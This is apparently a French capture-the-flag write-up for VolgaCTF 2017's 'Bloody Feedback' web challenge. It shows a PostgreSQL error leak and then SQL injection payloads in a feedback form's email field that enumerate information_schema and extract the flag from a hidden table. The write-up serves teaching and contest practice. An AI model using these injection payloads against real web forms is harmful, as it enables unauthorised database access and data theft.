VolgaCTF Qualif - Bloody Feedback (WEB - 100)

Enoncé :

Send your feedback at http://bloody-feedback.quals.2017.volgactf.ru

Comme l'énoncé le dit on poste un commentaire,on ajoute des quotes pour tenter d'avoir une erreur en retour. Le retour nous donne bien une erreur et nous permet de savoir que l'on est sur du PostgreSQL.

ERROR: DBD::Pg::db do failed: ERROR: syntax error at or near "not"
LINE 1: ...9SDaYZ9aPRXKKTj','P_TE','P_TE','fake@email.com'','not proces...
^ at Worker.pm line 29.

Après plusieurs essais le payload suivant passe :
name=P_TE&email=fake%40email.com','Injection')-- -&message=pte

On obtiens alors un code de suivi valide et en allant regarder notre message notre injection est bien passé

alt

Il faut alors trouver la table et la colonne contenant le flag :
name=P_TE&email=fake%40email.com',(SELECT substring(table_name,0,30)FROM information_schema.tables LIMIT 1 OFFSET 1)) -- -&message=pte

name=P_TE&email=fake%40email.com',(SELECT substring(column_name,0,30)FROM information_schema.columns LIMIT 1 OFFSET 6)) -- -&message=pte

On obtient donc la table : s3cret_tabl3 et la colonne : s3cr3tc0lumn

On requète alors le flag :
name=P_TE&email=fake%40email.com',(SELECT substring(s3cr3tc0lumn,0,30) FROM s3cret_tabl3 LIMIT 1 OFFSET 4)) -- -&message=pte

alt